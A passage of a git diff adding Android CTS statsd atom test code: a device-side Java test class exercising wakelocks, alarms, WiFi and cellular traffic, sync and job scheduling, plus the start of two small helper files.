+        sleep(500);
+
+        // Just force set is syncable.
+        ContentResolver.setMasterSyncAutomatically(true);
+        sleep(500);
+        ContentResolver.setIsSyncable(account, StatsdProvider.AUTHORITY, 1);
+        // Wait for the first (automatic) sync to finish
+        waitForReceiver(context, 120_000, latch, null);
+
+        //Sleep for 500ms, since we assert each start/stop to be ~500ms apart.
+        sleep(500);
+
+        // Request and wait for the second sync to finish
+        latch = StatsdSyncAdapter.resetCountDownLatch();
+        StatsdSyncAdapter.requestSync(account);
+        waitForReceiver(context, 120_000, latch, null);
+        StatsdAuthenticator.removeAllAccounts(context);
+    }
+
+    @Test
+    public void testScheduledJob() throws Exception {
+        final ComponentName name = new ComponentName(MY_PACKAGE_NAME,
+                StatsdJobService.class.getName());
+
+        Context context = InstrumentationRegistry.getContext();
+        JobScheduler js = context.getSystemService(JobScheduler.class);
+        assertWithMessage("JobScheduler service not available").that(js).isNotNull();
+
+        JobInfo.Builder builder = new JobInfo.Builder(1, name);
+        builder.setOverrideDeadline(0);
+        JobInfo job = builder.build();
+
+        long startTime = System.currentTimeMillis();
+        CountDownLatch latch = StatsdJobService.resetCountDownLatch();
+        js.schedule(job);
+        waitForReceiver(context, 5_000, latch, null);
+    }
+
+    @Test
+    public void testVibratorState() {
+        Context context = InstrumentationRegistry.getContext();
+        Vibrator vib = context.getSystemService(Vibrator.class);
+        if (vib.hasVibrator()) {
+            vib.vibrate(VibrationEffect.createOneShot(
+                    500 /* ms */, VibrationEffect.DEFAULT_AMPLITUDE));
+        }
+        // Sleep so that the app does not get killed.
+        sleep(1000);
+    }
+
+    @Test
+    public void testWakelockState() {
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
+                "StatsdPartialWakelock");
+        wl.acquire();
+        sleep(500);
+        wl.release();
+    }
+
+    @Test
+    public void testSliceByWakelockState() {
+        int uid = Process.myUid();
+        int whatAtomId = 9_998;
+        int wakelockType = PowerManager.PARTIAL_WAKE_LOCK;
+        String tag = "StatsdPartialWakelock";
+
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(wakelockType, tag);
+
+        wl.acquire();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        wl.acquire();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        wl.release();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        wl.release();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+    }
+
+    private static void writeSliceByWakelockStateChangedAtom(int atomId, int firstUid,
+                                                            int field2, String field3) {
+        final StatsEvent.Builder builder = StatsEvent.newBuilder()
+                .setAtomId(atomId)
+                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
+                .writeInt(field2)
+                .writeString(field3)
+                .usePooledBuffer();
+
+        StatsLog.write(builder.build());
+    }
+
+
+    @Test
+    public void testWakelockLoad() {
+        final int NUM_THREADS = 16;
+        CountDownLatch latch = new CountDownLatch(NUM_THREADS);
+        for (int i = 0; i < NUM_THREADS; i++) {
+            Thread t = new Thread(new WakelockLoadTestRunnable("StatsdPartialWakelock" + i, latch));
+            t.start();
+        }
+        waitForReceiver(null, 120_000, latch, null);
+    }
+
+    @Test
+    public void testWakeupAlarm() {
+        Context context = InstrumentationRegistry.getContext();
+        String name = "android.cts.statsdatom.testWakeupAlarm";
+        CountDownLatch onReceiveLatch = new CountDownLatch(1);
+        BroadcastReceiver receiver =
+                registerReceiver(context, onReceiveLatch, new IntentFilter(name));
+        AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
+        PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), PendingIntent.FLAG_IMMUTABLE);
+        manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+            SystemClock.elapsedRealtime() + 2_000, pintent);
+        waitForReceiver(context, 10_000, onReceiveLatch, receiver);
+    }
+
+    @Test
+    public void testWifiLockHighPerf() {
+        Context context = InstrumentationRegistry.getContext();
+        WifiManager wm = context.getSystemService(WifiManager.class);
+        WifiManager.WifiLock lock =
+                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "StatsdCTSWifiLock");
+        lock.acquire();
+        sleep(500);
+        lock.release();
+    }
+
+    @Test
+    public void testWifiLockLowLatency() {
+        Context context = InstrumentationRegistry.getContext();
+        WifiManager wm = context.getSystemService(WifiManager.class);
+        WifiManager.WifiLock lock =
+                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_LOW_LATENCY, "StatsdCTSWifiLock");
+        lock.acquire();
+        sleep(500);
+        lock.release();
+    }
+
+    @Test
+    public void testWifiMulticastLock() {
+        Context context = InstrumentationRegistry.getContext();
+        WifiManager wm = context.getSystemService(WifiManager.class);
+        WifiManager.MulticastLock lock = wm.createMulticastLock("StatsdCTSMulticastLock");
+        lock.acquire();
+        sleep(500);
+        lock.release();
+    }
+
+    @Test
+    /** Does two wifi scans. */
+    // TODO: Copied this from BatterystatsValidation but we probably don't need to wait for results.
+    public void testWifiScan() {
+        Context context = InstrumentationRegistry.getContext();
+        IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
+        // Sometimes a scan was already running (from a different uid), so the first scan doesn't
+        // start when requested. Therefore, additionally wait for whatever scan is currently running
+        // to finish, then request a scan again - at least one of these two scans should be
+        // attributed to this app.
+        for (int i = 0; i < 2; i++) {
+            CountDownLatch onReceiveLatch = new CountDownLatch(1);
+            BroadcastReceiver receiver = registerReceiver(context, onReceiveLatch, intentFilter);
+            context.getSystemService(WifiManager.class).startScan();
+            waitForReceiver(context, 60_000, onReceiveLatch, receiver);
+        }
+    }
+
+    @Test
+    public void testWifiReconnect() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        wifiReconnect(context);
+        wifiDisconnect(context);
+        wifiReconnect(context);
+        sleep(500);
+    }
+
+    @Test
+    public void testSimpleCpu() {
+        long timestamp = System.currentTimeMillis();
+        for (int i = 0; i < 10000; i ++) {
+            timestamp += i;
+        }
+        Log.i(TAG, "The answer is " + timestamp);
+    }
+
+    @Test
+    public void testWriteRawTestAtom() throws Exception {
+        Context context = InstrumentationRegistry.getTargetContext();
+        ApplicationInfo appInfo = context.getPackageManager()
+                .getApplicationInfo(context.getPackageName(), 0);
+        int[] uids = {1234, appInfo.uid};
+        String[] tags = {"tag1", "tag2"};
+        byte[] experimentIds = {8, 1, 8, 2, 8, 3}; // Corresponds to 1, 2, 3.
+        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids, tags, 42,
+                Long.MAX_VALUE, 3.14f, "This is a basic test!", false,
+                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, experimentIds);
+
+        // All nulls. Should get dropped since cts app is not in the attribution chain.
+        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, null, null, 0, 0,
+                0f, null, false, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, null);
+
+        // Null tag in attribution chain.
+        int[] uids2 = {9999, appInfo.uid};
+        String[] tags2 = {"tag9999", null};
+        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids2, tags2, 100,
+                Long.MIN_VALUE, -2.5f, "Test null uid", true,
+                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__UNKNOWN, experimentIds);
+
+        // Non chained non-null
+        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED,
+                appInfo.uid, "tag1", -256, -1234567890L, 42.01f, "Test non chained", true,
+                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, experimentIds);
+
+        // Non chained all null
+        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED, appInfo.uid, null,
+                0, 0, 0f, null, true, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, null);
+
+    }
+
+    /**
+     * Bring up and generate some traffic on cellular data connection.
+     */
+    @Test
+    public void testGenerateMobileTraffic() throws IllegalStateException {
+        final Context context = InstrumentationRegistry.getContext();
+        if (!doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR)) {
+            throw new IllegalStateException("Mobile network is not available.");
+        }
+    }
+
+    // Constants which are locally used by doGenerateNetworkTraffic.
+    private static final int NETWORK_TIMEOUT_MILLIS = 15000;
+    private static final String HTTPS_HOST_URL =
+            "https://connectivitycheck.gstatic.com/generate_204";
+
+    /**
+     * Returns a Network given a request. The return value is null if the requested Network is
+     * unavailable, and the caller is responsible for logging the error.
+     */
+    private Network getNetworkFromRequest(@NonNull Context context,
+            @NonNull NetworkRequest request) {
+        final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+        final CtsNetUtils.TestNetworkCallback callback = new CtsNetUtils.TestNetworkCallback();
+        ShellIdentityUtils.invokeWithShellPermissions(() -> cm.requestNetwork(request, callback));
+        final Network network;
+        try {
+             network = callback.waitForAvailable();
+             return network;
+        } catch (InterruptedException e) {
+            Log.w(TAG, "Caught an InterruptedException while looking for requested network!");
+            return null;
+        } finally {
+            cm.unregisterNetworkCallback(callback);
+        }
+    }
+
+    /**
+     * Attempts to generate traffic on a network for with a given NetworkRequest. Returns true if
+     * successful, and false is unsuccessful.
+     */
+    private boolean doGenerateNetworkTraffic(@NonNull Context context,
+            @NonNull NetworkRequest request) throws IllegalStateException {
+        final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+        final Network network = getNetworkFromRequest(context, request);
+        if (network == null) {
+            // Caller should log an error.
+            return false;
+        }
+        if(!cm.bindProcessToNetwork(network)) {
+            Log.e(TAG, "bindProcessToNetwork Failed!");
+            throw new IllegalStateException("bindProcessToNetwork failed!");
+        }
+
+        final long startTime = SystemClock.elapsedRealtime();
+        try {
+            exerciseRemoteHost(cm, network, new URL(HTTPS_HOST_URL));
+            Log.i(TAG, "exerciseRemoteHost successful in " + (SystemClock.elapsedRealtime()
+                    - startTime) + " ms");
+        } catch (Exception e) {
+            Log.e(TAG, "exerciseRemoteHost failed in " + (SystemClock.elapsedRealtime()
+                    - startTime) + " ms: " + e);
+        }
+        return true;
+    }
+
+    /**
+     * Generates traffic on a network with a given transport.
+     */
+    private boolean doGenerateNetworkTraffic(@NonNull Context context, int transport)
+            throws IllegalStateException {
+        final NetworkRequest request = new NetworkRequest.Builder().addCapability(
+                NetworkCapabilities.NET_CAPABILITY_INTERNET).addTransportType(transport).build();
+        return doGenerateNetworkTraffic(context, request);
+    }
+
+    /**
+     * Generates traffic on a network with a given set of OEM managed network capabilities.
+     */
+    private boolean doGenerateOemManagedNetworkTraffic(@NonNull Context context,
+            List<Integer> capabilities)
+            throws IllegalStateException {
+        final NetworkRequest.Builder requestBuilder = new NetworkRequest.Builder().addCapability(
+            NetworkCapabilities.NET_CAPABILITY_INTERNET);
+        for (final Integer capability : capabilities) {
+            requestBuilder.addCapability(capability);
+        }
+        final NetworkRequest request = requestBuilder.build();
+        return doGenerateNetworkTraffic(context, request);
+    }
+
+    /**
+     * Assembles a String representation of a list of NetworkCapabilities.
+     */
+    private String oemManagedCapabilitiesToString(@NonNull List<Integer> capabilities) {
+        return "{" + TextUtils.join(", ", capabilities) + "}";
+    }
+    /**
+     * Checks if a network with a given set of OEM managed capabilities (OEM_PAID, for example) is
+     * avaialable.
+     */
+    private boolean isOemManagedNetworkAvailable(@NonNull Context context,
+            List<Integer> capabilities) {
+        final NetworkRequest.Builder requestBuilder = new NetworkRequest.Builder().addCapability(
+            NetworkCapabilities.NET_CAPABILITY_INTERNET);
+        for (final Integer capability : capabilities) {
+            requestBuilder.addCapability(capability);
+        }
+        final NetworkRequest request = requestBuilder.build();
+        final Network network = getNetworkFromRequest(context, request);
+        if (network == null) {
+            return false;
+        }
+        // There's an OEM managed network already available, so use that.
+        return true;
+    }
+
+    /**
+     * Callback WiFi scan results, on which we can await().
+     */
+    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+
+        TestScanResultsCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onScanResultsAvailable() {
+            onAvailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Searches for saved WiFi networks, and returns a set of in-range saved WiFi networks.
+     */
+    private Set<WifiConfiguration> getAvailableSavedNetworks(@NonNull Context context,
+            @NonNull WifiManager wifiManager) throws IllegalStateException {
+        final Set<WifiConfiguration> availableNetworks = new HashSet<WifiConfiguration>();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        final TestScanResultsCallback scanCallback = new TestScanResultsCallback(countDownLatch);
+        final List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+            () -> wifiManager.getPrivilegedConfiguredNetworks());
+
+        // If there are no saved networks, we can't connect to WiFi.
+        if(savedNetworks.isEmpty()) {
+            throw new IllegalStateException("Device has no saved WiFi networks.");
+        }
+        setUpOemManagedWifi(wifiManager, savedNetworks);
+        wifiManager.registerScanResultsCallback(context.getMainExecutor(), scanCallback);
+        wifiManager.startScan();
+        try {
+            final boolean didFinish = countDownLatch.await(10, TimeUnit.SECONDS);
+            if (!didFinish) {
+                Log.e(TAG, "Failed to get WiFi scan results: operation timed out.");
+                // Empty list.
+                return availableNetworks;
+            }
+        } catch (InterruptedException e) {
+            Log.w(TAG, "Caught InterruptedException while waiting for WiFi scan results!");
+            return availableNetworks;
+        }
+
+        // ScanResult could refer to Bluetooth or WiFi, so it has to be explicitly stated here.
+        final List<android.net.wifi.ScanResult> scanResults = wifiManager.getScanResults();
+        // Search for a saved network in range.
+        for (final WifiConfiguration savedNetwork : savedNetworks) {
+            for (final android.net.wifi.ScanResult scanResult : scanResults) {
+                if (WifiInfo.sanitizeSsid(savedNetwork.SSID).equals(WifiInfo.sanitizeSsid(
+                        scanResult.SSID))) {
+                    // We found a saved network that's in range.
+                    availableNetworks.add(savedNetwork);
+                }
+            }
+        }
+        if(availableNetworks.isEmpty()) {
+            throw new IllegalStateException("No saved networks in range.");
+        }
+        return availableNetworks;
+    }
+
+    /**
+     * Causes WiFi to disconnect and prevents auto-join from reconnecting.
+     */
+    private void disableNetworksAndDisconnectWifi(@NonNull WifiManager wifiManager,
+            @NonNull List<WifiConfiguration> savedNetworks) {
+        // Disable auto-join for our saved networks, and disconnect from them.
+        ShellIdentityUtils.invokeWithShellPermissions(
+            () -> {
+                for (final WifiConfiguration savedNetwork : savedNetworks) {
+                    wifiManager.disableNetwork(savedNetwork.networkId);
+                }
+                wifiManager.disconnect();
+           });
+    }
+
+    /**
+     * Puts the system back in the state we found it before setUpOemManagedWifi was called.
+     */
+    private void tearDownOemManagedWifi(@NonNull WifiManager wifiManager) {
+        // Put the system back the way we found it.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    /**
+     * Builds a suggestion based on a saved WiFi network with a given list of OEM managed
+     * capabilities.
+     */
+    private static WifiNetworkSuggestion.Builder createOemManagedSuggestion(
+            @NonNull WifiConfiguration network, List<Integer> capabilities)
+            throws IllegalStateException {
+        final WifiNetworkSuggestion.Builder suggestionBuilder = new WifiNetworkSuggestion.Builder();
+        for (final Integer capability : capabilities) {
+            switch (capability) {
+                case NetworkCapabilities.NET_CAPABILITY_OEM_PAID:
+                    suggestionBuilder.setOemPaid(true);
+                    break;
+                case NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE:
+                    suggestionBuilder.setOemPrivate(true);
+                    break;
+                default:
+                    throw new IllegalStateException("Unsupported OEM network capability "
+                            + capability);
+            }
+        }
+        suggestionBuilder.setSsid(WifiInfo.sanitizeSsid(network.SSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                suggestionBuilder.setWpa2Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                suggestionBuilder.setWpa3Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else {
+                throw new IllegalStateException("Saved network has unsupported security type");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            suggestionBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            throw new IllegalStateException("Saved network has unsupported security type");
+        }
+        suggestionBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return suggestionBuilder;
+    }
+
+    /**
+     * Helper function for testGenerateOemManagedTraffic. Handles bringing up a WiFi network with a
+     * given list of OEM managed capabilities, and generates traffic on said network.
+     */
+    private boolean setWifiOemManagedAndGenerateTraffic(@NonNull Context context,
+            @NonNull WifiManager wifiManager, @NonNull WifiConfiguration network,
+            List<Integer> capabilities) throws IllegalStateException {
+        final WifiNetworkSuggestion.Builder oemSuggestionBuilder =
+                createOemManagedSuggestion(network, capabilities);
+        final WifiNetworkSuggestion oemSuggestion = oemSuggestionBuilder.build();
+
+        final int status = ShellIdentityUtils.invokeWithShellPermissions(
+            () -> wifiManager.addNetworkSuggestions(Arrays.asList(oemSuggestion)));
+        if (status != WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS) {
+            throw new IllegalStateException("Adding WifiNetworkSuggestion failed with "
+                    + status);
+        }
+
+        // Wait for the suggestion to go through.
+        CountDownLatch suggestionLatch = new CountDownLatch(1);
+        BroadcastReceiver receiver =
+                registerReceiver(context, suggestionLatch, new IntentFilter(
+                        wifiManager.ACTION_WIFI_NETWORK_SUGGESTION_POST_CONNECTION));
+        PendingIntent pendingSuggestionIntent = PendingIntent.getBroadcast(context, 0,
+                new Intent(wifiManager.ACTION_WIFI_NETWORK_SUGGESTION_POST_CONNECTION),
+                PendingIntent.FLAG_IMMUTABLE);
+        waitForReceiver(context, 1_000, suggestionLatch, receiver);
+
+        if (isOemManagedNetworkAvailable(context, capabilities)) {
+            if (!doGenerateOemManagedNetworkTraffic(context, capabilities)) {
+                throw new IllegalStateException("Network with "
+                        + oemManagedCapabilitiesToString(capabilities) + " is not available.");
+            }
+        } else {
+            // Network didn't come up.
+            Log.e(TAG, "isOemManagedNetworkAvailable reported " + network.SSID + " with "
+                    + oemManagedCapabilitiesToString(capabilities) + " is unavailable");
+            wifiManager.removeNetworkSuggestions(Arrays.asList(oemSuggestion));
+            return false;
+        }
+        wifiManager.removeNetworkSuggestions(Arrays.asList(oemSuggestion));
+        return true;
+    }
+
+    /**
+     * Does pre-requisite setup steps for testGenerateOemManagedTraffic via WiFi.
+     */
+    private void setUpOemManagedWifi(@NonNull WifiManager wifiManager,
+            @NonNull List<WifiConfiguration> savedNetworks) {
+        // Get the state the system was in before so we can put it back how we found it.
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+
+        // Turn on the wifi.
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(true));
+        }
+
+        // Enable logging and disable scan throttling.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        disableNetworksAndDisconnectWifi(wifiManager, savedNetworks);
+    }
+
+    /**
+     * Brings up WiFi networks with specified combinations of OEM managed network capabilities and
+     * generates traffic on said networks.
+     */
+    private void generateWifiOemManagedTraffic(Context context,
+            List<List<Integer>> untestedCapabilities) {
+        final PackageManager packageManager = context.getPackageManager();
+        final WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            // If wifi isn't supported, don't bother trying.
+            Log.w(TAG, "Feature WiFi is unavailable!");
+            return;
+        }
+        final Set<WifiConfiguration> availableNetworks = getAvailableSavedNetworks(context,
+                wifiManager);
+
+        boolean foundGoodNetwork = false;
+        // Try to connect to a saved network in range.
+        for (final WifiConfiguration network : availableNetworks) {
+            // Try each of the OEM network capabilities.
+            for (final List<Integer> untestedCapability : untestedCapabilities) {
+                boolean generatedTraffic = setWifiOemManagedAndGenerateTraffic(context, wifiManager,
+                        network, untestedCapability);
+                if (foundGoodNetwork && !generatedTraffic) {
+                    // This already worked for a prior capability, so something is wrong.
+                    Log.e(TAG, network.SSID + " failed to come up with "
+                            + oemManagedCapabilitiesToString(untestedCapability));
+                    disableNetworksAndDisconnectWifi(wifiManager, Arrays.asList(network));
+                    tearDownOemManagedWifi(wifiManager);
+                    throw new IllegalStateException(network.SSID + " failed to come up!");
+                } else if (!generatedTraffic) {
+                    // This network didn't work, try another one.
+                    break;
+                }
+                foundGoodNetwork = true;
+                disableNetworksAndDisconnectWifi(wifiManager, Arrays.asList(network));
+            }
+            if (foundGoodNetwork) {
+                break;
+            }
+        }
+        tearDownOemManagedWifi(wifiManager);
+        if (foundGoodNetwork == false) {
+            throw new IllegalStateException("Couldn't connect to a good WiFi network!");
+        }
+    }
+
+    /**
+     * Bring up and generate some traffic on OEM managed WiFi network.
+     */
+    @Test
+    public void testGenerateOemManagedTraffic() throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+
+        final List<List<Integer>> oemCapabilities = new LinkedList<>(List.of(
+            List.of(NetworkCapabilities.NET_CAPABILITY_OEM_PAID),
+            List.of(NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE),
+            List.of(NetworkCapabilities.NET_CAPABILITY_OEM_PAID,
+                    NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE)));
+        final List<List<Integer>> untestedCapabilities = new LinkedList<>(oemCapabilities);
+
+        // In the event an OEM network exists already, use that to test.
+        for (final List<Integer> oemCapability : oemCapabilities) {
+            if (isOemManagedNetworkAvailable(context, oemCapability)) {
+                doGenerateOemManagedNetworkTraffic(context,
+                        oemCapability);
+                // Don't try to test on WiFi if the network already exists.
+                untestedCapabilities.remove(oemCapability);
+            }
+        }
+        if (untestedCapabilities.isEmpty()) return;
+
+        // There are capabilities we still need to test, so use WiFi to simulate it.
+        generateWifiOemManagedTraffic(context, untestedCapabilities);
+    }
+
+    /**
+     * Generate traffic on specified network.
+     */
+    private void exerciseRemoteHost(@NonNull ConnectivityManager cm, @NonNull Network network,
+            @NonNull URL url) throws Exception {
+        cm.bindProcessToNetwork(network);
+        HttpURLConnection urlc = null;
+        try {
+            urlc = (HttpURLConnection) network.openConnection(url);
+            urlc.setConnectTimeout(NETWORK_TIMEOUT_MILLIS);
+            urlc.setUseCaches(false);
+            urlc.connect();
+        } finally {
+            if (urlc != null) {
+                urlc.disconnect();
+            }
+        }
+    }
+
+    // ------- Helper methods
+
+    /** Puts the current thread to sleep. */
+    static void sleep(int millis) {
+        try {
+            Thread.sleep(millis);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted exception while sleeping", e);
+        }
+    }
+
+    /** Register receiver to determine when given action is complete. */
+    private static BroadcastReceiver registerReceiver(
+            Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.d(TAG, "Received broadcast.");
+                onReceiveLatch.countDown();
+            }
+        };
+        // Run Broadcast receiver in a different thread since the main thread will wait.
+        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
+        handlerThread.start();
+        Looper looper = handlerThread.getLooper();
+        Handler handler = new Handler(looper);
+        ctx.registerReceiver(receiver, intentFilter, null, handler);
+        return receiver;
+    }
+
+    /**
+     * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
+     * receiver is needed to be unregistered.
+     */
+    private static void waitForReceiver(Context ctx,
+            int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
+        try {
+            boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
+            if (didFinish) {
+                Log.v(TAG, "Finished performing action");
+            } else {
+                // This is not necessarily a problem. If we just want to make sure a count was
+                // recorded for the request, it doesn't matter if the action actually finished.
+                Log.w(TAG, "Did not finish in specified time.");
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
+        }
+        if (ctx != null && receiver != null) {
+            ctx.unregisterReceiver(receiver);
+        }
+    }
+
+    private static void setScreenBrightness(int brightness) {
+        runShellCommand("settings put system screen_brightness " + brightness);
+    }
+
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
+
+    public void wifiDisconnect(Context context) throws Exception {
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.disconnect());
+        PollingCheck.check(
+                "Wifi not disconnected",
+                WIFI_CONNECT_TIMEOUT_MILLIS,
+                () -> wifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    public void wifiReconnect(Context context) throws Exception {
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.reconnect());
+        PollingCheck.check(
+                "Wifi not connected",
+                WIFI_CONNECT_TIMEOUT_MILLIS,
+                () -> wifiManager.getConnectionInfo().getNetworkId() != -1);
+    }
+
+    @Test
+    public void testLoadingApks() throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+        final ApplicationInfo appInfo = context.getPackageManager()
+                .getApplicationInfo(context.getPackageName(), 0);
+        final String codePath = appInfo.sourceDir;
+        final String apkDir = codePath.substring(0, codePath.lastIndexOf('/'));
+        for (String apkName : new File(apkDir).list()) {
+            final String apkPath = apkDir + "/" + apkName;
+            if (new File(apkPath).isFile()) {
+                try {
+                    Files.readAllBytes(Paths.get(apkPath));
+                } catch (IOException ignored) {
+                    // Probably hitting pages that we are intentionally blocking
+                }
+            }
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/Checkers.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/Checkers.java
new file mode 100644
index 0000000..ea84b67
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/Checkers.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.net.wifi.WifiManager;
+import android.os.Vibrator;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+/**
+ * Methods to check device properties. They pass iff the check returns true.
+ */
+public class Checkers {
+    private static final String TAG = Checkers.class.getSimpleName();
+
+    @Test
+    public void checkVibratorSupported() {
+        Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
+        assertThat(v.hasVibrator()).isTrue();
+    }
+
+    @Test
+    public void checkWifiEnhancedPowerReportingSupported() {
+        WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
+        assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyActivity.java
new file mode 100644
index 0000000..5b3ab07
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
